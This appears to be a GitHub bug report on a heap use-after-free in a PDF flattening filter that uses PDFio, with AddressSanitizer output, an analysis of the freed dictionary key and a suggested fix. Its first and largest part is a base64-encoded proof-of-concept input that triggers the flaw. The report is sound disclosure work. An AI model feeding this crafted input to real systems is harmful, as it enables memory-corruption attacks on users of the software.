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
/O72fwLyIdUw6xoBAA==
POC_PAYLOAD_0

Result

ASan reports a heap-use-after-free read in strcmp() while
_pdfioDictSetValue() searches the output dictionary. The read originates at
flatten_pdf() line 1754. The 32-byte key allocation was created at line 1771
and released at line 1907 in the same flatten_pdf() invocation.

The unsanitized filter exits 0 and emits a parseable one-page PDF, but its
resource dictionary contains only /Fxo1 and /Fxo3 while the page content
also invokes /Fxo2 and /Fxo4. Thus the dangling keys already produce
observable output corruption. No heap bytes or addresses were observed in
five inspected outputs.

Cause and expected behavior

The fallback annotation branch allocates name, passes it to
pdfioDictSetObj(xobj_dict, name, form_xobj), and calls free(name). PDFio's
_pdfioDictSetValue() assigns pair->key = key; it does not duplicate the
key. Therefore the output dictionary owns a dangling pointer.

The filter should intern the key with pdfioStringCreate() or
pdfioStringCreatef() before inserting it, as the neighboring appearance
branch already does. Alternatively, the allocation must remain valid for the
entire output PDF lifetime. A malformed or unsupported annotation should be
skipped without leaving borrowed pointers in output objects.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions